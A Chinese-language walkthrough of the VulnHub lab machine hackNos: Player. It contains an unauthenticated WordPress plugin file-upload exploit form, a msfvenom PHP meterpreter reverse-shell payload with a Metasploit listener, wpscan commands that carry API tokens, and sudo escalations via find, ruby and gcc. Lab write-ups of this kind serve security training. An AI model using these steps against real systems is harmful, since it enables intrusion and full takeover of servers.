靶机下载:hackNos: Player v1.1 ~ VulnHub
靶机目标:root
用户目录下的root.txt
一、信息收集
步骤一:靶机发现与端口扫描
netdiscover -i eth0 -r 192.168.7.0/24
页面访问
发现了一个网站目录:“g@web” 通过插件得知网站是WordPress 5.3.11
尝试使用wpscan
列出站点的用户和密码...发现该站点的一个WP Json Api
地址访问...可在描述字段中发现一个密码hackNos@9012!!
对其默认后台登录界面访问并尝试登录...
wpscan --url http://192.168.7.39/g@web -e u --api-token NCpd6sIerdVHZ48sTMJ4RIeawnhpImnOrjaxXiXgIX0
网页访问这个地址
使用wpscan
对其网站进行漏洞扫描...发现远程代码执行漏洞...对其利用信息访问...拿取到POC并修改保存成HTML文件....
wpscan --url http://192.168.7.39/g@web/ -e vp --api-token se5dzb2kuZqWOYN3gK91L5asNOu1jNA0mdzDgSgndc8
发现远程代码执行漏洞!
打开根据提供的网址,看到了利用代码
复制下来,对url地址略作修改,得到:
<form method="post" enctype="multipart/form-data" action="http://192.168.7.39/g@web/wp-admin/admin-ajax.php">
<input type="hidden" name="action" value="wpsp_upload_attachment">
Choose a file ending with .phtml:
<input type="file" name="0">
<input type="submit" value="Submit">
</form>
After doing this, an uploaded file can be accessed at, say:
http://example.com/wp-content/uploads/wpsp/1510248571_filename.phtml
将其保存为本地的一个html文件,然后用浏览器打开它,如下图,是一个文件上传
二、Getshell
使用MSF生成PHP木马并开启监听
生成木马文件中的IP为kali的
生成后门
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.7.117 LPORT=4444 x> shell.phtml
开启监听
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set LHOST 192.168.7.117
set LPORT 4444
exploit
从文件可知,文件格式支持phtml格式
根据利用代码得知,上传的文件在:/wp-content/uploads/wpsp
鼠标单击文件,获取shell
python -c 'import pty; pty.spawn("/bin/bash")'
三、提权
查看/home
目录下的用户信息并使用之前的获取的密码进行登录...发现是Security
用户的密码...发现hunter
用户下的user.txt
文件...暂时没有访问权限....
hackNos@9012!!
sudo提权
1、第一次sudo提权
执行命令:sudo -l
提示可以通过用户hacknos进行find提权,而靶机上只有hackNos-boat、hunter、security三个用户,因此这里的用户hacknos指的应该是hackNos-boat
如下图,切换hackNos-boat成功
通过网站 find | GTFOBins 获知提权命令:
sudo -u hackNos-boat find . -exec /bin/bash \; -quit
2、第二次提权
在hackNos-boat用户下面执行sudo -l 命令,发现ruby提权
sudo -u hunter ruby -e 'exec "/bin/sh"'
3、第三次提权
在hunter用户下面执行sudo -l 命令,发现gcc提权
sudo gcc -wrapper /bin/sh,-s .
获取所有Flag